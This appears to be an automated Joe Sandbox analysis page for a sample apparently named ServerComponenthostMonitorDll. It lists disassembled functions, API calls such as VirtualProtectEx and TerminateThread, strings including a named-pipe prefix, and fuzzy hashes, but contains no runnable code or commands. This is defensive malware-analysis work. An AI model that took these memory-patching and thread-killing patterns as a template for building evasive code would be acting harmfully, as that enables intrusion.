CloseHandle.KERNEL32 ref: 1AFF1A94

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: 74386dbe5f065cca504906b57c8b7c059f050d32f3c438d5f1c2659ea40192dc
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: 01012931304B4196EB16EB12A89879B7361F78CFC0F858436EE8983764DF3CC5898750

Function 1AFF37AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 1AFF37C8
GetCurrentProcess.KERNEL32 ref: 1AFF37D6
VirtualProtectEx.KERNEL32 ref: 1AFF37F8
GetCurrentProcess.KERNEL32 ref: 1AFF3819
VirtualProtectEx.KERNEL32 ref: 1AFF383A
TerminateThread.KERNEL32 ref: 1AFF3849

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: b71df9b9f36b99c12b8c8279b2e48903bf49b55ff0879c355c4554dcd5024c0f
Instruction ID: a7b26b99d656dd656d5bc743418072b47c69f7d97a2297e3d4512a7e367f49e9
Opcode Fuzzy Hash: b71df9b9f36b99c12b8c8279b2e48903bf49b55ff0879c355c4554dcd5024c0f
Instruction Fuzzy Hash: 1A014C7A712B4482EB16AB21E8597AB77A0FB4CFC1F014529EE5907764EF3DC548C710

Function 1AFF90D8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 1AFF9103
_IsNonwritableInCurrentImage.LIBCMT ref: 1AFF9198
RtlUnwindEx.NTDLL ref: 1AFF91E7

Strings

csm, xrefs: 1AFF917E
f, xrefs: 1AFF9116

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 2b68ddb093160c159f3838c1131a2f908320feabf111407c5e8bfe37d954b0ed
Instruction ID: 9395b825a0ce8ce7e1fa8fab778e4d07a426396f79aee946656a9c161a4a2ac8
Opcode Fuzzy Hash: 2b68ddb093160c159f3838c1131a2f908320feabf111407c5e8bfe37d954b0ed
Instruction Fuzzy Hash: F251D0337117859BCB05DF25E8C4B4A37A5F384BD8F528A26EE5A87728EB35D941CB00

Function 1AFF3200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 1AFF3222
StrCpyW.SHLWAPI ref: 1AFF3232
StrCatW.SHLWAPI ref: 1AFF323E
PathCombineW.SHLWAPI ref: 1AFF324C

Strings

\\.\pipe\, xrefs: 1AFF3218

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: c078d55963e3a04ce8a65f1ded4ba67ef2dfed88e2b951c695790fde1f534ce0
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: 11F03735304B8191EA459B53F9953577721FB4CFD0F089531EE6A47B29DF2CC5858700

Function 1AFFA138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 1AFFA154
GetProcAddress.KERNEL32 ref: 1AFFA16A
FreeLibrary.KERNEL32 ref: 1AFFA187

Strings

CorExitProcess, xrefs: 1AFFA163
mscoree.dll, xrefs: 1AFFA14B

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 895874ec98be574f49a17e6780739711aa577a4cf18c9d96cd48b51654f614c3
Instruction ID: d23d26e0357854c6115153dadf912b978d31d62f49d11e745f1704658e37ab0b
Opcode Fuzzy Hash: 895874ec98be574f49a17e6780739711aa577a4cf18c9d96cd48b51654f614c3
Instruction Fuzzy Hash: 04F01271311B4891EF066B60E8D43AB3320EB4CBD1F46241AA50B46575DF28C08CCB10

Function 1AFF51B0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 1AFF5236

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction ID: 6cc085107ec75e4ca9424dc120b8e2be348fbc457152d408a8d7adabb86d9bd4
Opcode Fuzzy Hash: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction Fuzzy Hash: 6FF1C337219B8486DB60CB69F49435ABBA1F3C9B94F104516EA8E87B78DF7DC484CB10

Function 1B000860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 1B0008A2
GetConsoleMode.KERNEL32 ref: 1B000960
GetLastError.KERNEL32 ref: 1B0009EA

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: 40aa4ff903744330f2edaee8c2fa784629254d58709edc1a2568f83cd5bd6f1e
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: AB71BE32B10A5989FB09DB61D8807EE37A2F78DBD8F444216DE4A63B61EF34C446C310

Function 1AFF57F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 1AFF5806

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction ID: 3d0a1403ae7c3b9206d5391266031dee7c48bea286cd24c0401ebfab9399fd3c
Opcode Fuzzy Hash: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction Fuzzy Hash: 9651B837519B84C6E760DB25E49431AB7A0F388B94F501A16FA8D87B78DB7DC550CF10

Function 1AFD12B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 1AFD12E0
_set_statfp.LIBCMT ref: 1AFD12FB
_set_statfp.LIBCMT ref: 1AFD1317
_set_statfp.LIBCMT ref: 1AFD1353

Memory Dump Source

Source File: 0000000D.00000002.2257956900.000000001AFC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 1AFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1afc0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 00372e06b6dd7c29ee0b4a04b24c8c146455c49f1c68028acbf89a09e1cc6c93
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 3201F5B7E54F8601E79721A5E5513592001AF48374F8E4735EB7B4BBFACB288C42821C

Function 1B001EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 1B001EE0
_set_statfp.LIBCMT ref: 1B001EFB
_set_statfp.LIBCMT ref: 1B001F17
_set_statfp.LIBCMT ref: 1B001F53

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: e9f6ef2b57b3daf5baebc7fa9801b4113568a50323f6cef205e881a77af6d835
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 5801C036E58A4106FB4CC166E4523FA1082BBA83F4F044634FBBB073E99F688D828200

Function 1B001B9C Relevance: 7.5, APIs: 5, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 1B001BCD
GetLastError.KERNEL32 ref: 1B001BD9
CloseHandle.KERNEL32 ref: 1B001BF1
CreateFileW.KERNEL32 ref: 1B001C1C
WriteConsoleW.KERNEL32 ref: 1B001C3B

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID:
API String ID: 3230265001-0
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: ad9a0000b1400e51261b07cb8ef60db004995abf9bd171093cce95dedc1f5310
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: DB118832714B8086E312AB56E89439BB3A0F78CFE4F004224FE5E877A4DF78C5548740

Function 1AFF3878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 1AFF3886
GetCurrentProcess.KERNEL32 ref: 1AFF38B4
VirtualProtectEx.KERNEL32 ref: 1AFF38D6
GetCurrentProcess.KERNEL32 ref: 1AFF38F4
VirtualProtectEx.KERNEL32 ref: 1AFF3915

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: fbb0a64c3be4e1a1e77d9f1debb6959853c7d2472080ae9ffa1c8c18103186cf
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: 47115B3A705B4082EB169B21F4543AA7775FB8CB84F05452AEE9907764EF3DC549C700

Function 1AFC84F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 1AFC8503
_IsNonwritableInCurrentImage.LIBCMT ref: 1AFC8598

Strings

csm, xrefs: 1AFC857E
f, xrefs: 1AFC8516

Memory Dump Source

Source File: 0000000D.00000002.2257956900.000000001AFC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 1AFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1afc0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 4550b125a84a6f10fd6639f869e2a5c45b67c93992cce3ac7796fb9992cd696e
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 3451B9367127828BC706CF26E844F493365F780BB8F528625DA4A4770CFB75D881DB90

Function 1AFC84D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 1AFC8503
_IsNonwritableInCurrentImage.LIBCMT ref: 1AFC8598

Strings

csm, xrefs: 1AFC857E
f, xrefs: 1AFC8516

Memory Dump Source

Source File: 0000000D.00000002.2257956900.000000001AFC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 1AFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1afc0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: e197e0e5e3b759a41a337560383358db5c7f1766cff00c4eaf004108318bb2e0
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: 0E31BD7631278296C712CF12E884B593764F740BF8F468528EE5B07B08EF79D942C799

Function 1AFF1D60 Relevance: 6.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 1AFF1D9B
RtlAllocateHeap.NTDLL ref: 1AFF1DAA
GetProcessHeap.KERNEL32 ref: 1AFF1E1E
HeapFree.KERNEL32 ref: 1AFF1E2C

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Heap$Process$AllocateFree
String ID:
API String ID: 576844849-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: d027bc2b72bd0fbc160723733d7a32ae6dc418fbdeb621ab9bd257eb2e2b501e
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: FB219D37605B8482EB129F6AE40039AF7A0FB8DBD4F454521EF8C57B28EF78D1468704

Function 1AFF1274 Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 1AFF127A
RtlAllocateHeap.NTDLL ref: 1AFF1289
GetProcessHeap.KERNEL32 ref: 1AFF12A3
RtlAllocateHeap.NTDLL ref: 1AFF12B4

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 78f367cf2972e53aaf30a64ce9c1d2c2ef884996b14bb2d1d261e709463e9945
Instruction ID: d0e1c68d5f4f43a4896e4dcd2add880bc6b1f88db210939c876e9e31124db137
Opcode Fuzzy Hash: 78f367cf2972e53aaf30a64ce9c1d2c2ef884996b14bb2d1d261e709463e9945
Instruction Fuzzy Hash: 1CE0E571A11A0086E70AAFA6D8593DB77E1FB8CF91F49C024C94907360DF7D849ACB90

Function 1AFF1000 Relevance: 6.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 1AFF1006
RtlAllocateHeap.NTDLL ref: 1AFF1015
GetProcessHeap.KERNEL32 ref: 1AFF1028
RtlAllocateHeap.NTDLL ref: 1AFF1037

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 1c4068ecb2edea308d344461d97e3b92801a938b6310884c78818bc30094bcd9
Instruction ID: 900518bd4cd14378d85ae4fbf7c3055629b5814e7e9741139bdda6d5019fbde1
Opcode Fuzzy Hash: 1c4068ecb2edea308d344461d97e3b92801a938b6310884c78818bc30094bcd9
Instruction Fuzzy Hash: 9EE01AB1621A00C7E70AAF66D8453DB77E1FB8CF91F888024C90907320EF3C8499CB10

Function 1B000604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 1B00071B
GetLastError.KERNEL32 ref: 1B00073D

Strings

U, xrefs: 1B0006C7

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: 46a53bccb86a3f687450528e5d1439826b2779f8048973f9f38ca8feafb85d2f
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: 6431AE72715A8496EB20DF25E84439AB7A1F38CBC4F818125EE8D87B58EF3CC541CB40

Function 1AFFD6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 1AFFD6F9
LCMapStringW.KERNEL32 ref: 1AFFD781

Strings

LCMapStringEx, xrefs: 1AFFD6DC, 1AFFD6ED

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: e62d533d23dffb4c4ed94c8d3f21b387f94782e51f5a93c23b438f72b0edb996
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: 59113636608B8086D761DB16B48039AB7A0F7CCBD4F544126EE9D87B28DF38C4448B00

Function 1AFF94A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 1AFF94E8
RaiseException.KERNEL32 ref: 1AFF952E

Strings

csm, xrefs: 1AFF951B

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: 5942f71cd9506f541eeb2539058a6da8842e636f8ea8661725a27d10931943ba
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: B5113C32218B8582DB218F15F48035AB7A5F788B98F198621EF8D4BB28DF3CC555CB00

Function 1AFFD65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 1AFFD68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 1AFFD6A7

Strings

InitializeCriticalSectionEx, xrefs: 1AFFD681

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: 325ac7a2e9ce5121f91fe2c1344b32e6069e036a68dc694b63c8f7b7871c0555
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: 1FF08236710B8091EB06AB45F44079A7331EB8CBD4F455426F95903B64CF38C999C744

Function 1AFCCB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 1AFCCBC5

Strings

November, xrefs: 1AFCCBA8, 1AFCCBB2
October, xrefs: 1AFCCBBE

Memory Dump Source

Source File: 0000000D.00000002.2257956900.000000001AFC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 1AFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1afc0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: 8ba1f4499ac1cabc4b6466572c8bed8a24b7e2ff3a82ace552f2c2aad798446c
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction Fuzzy Hash: 85E09A7674168692EB0B8BD6F4407E47221AB88784F9A513ADA180625AEF38C8878342

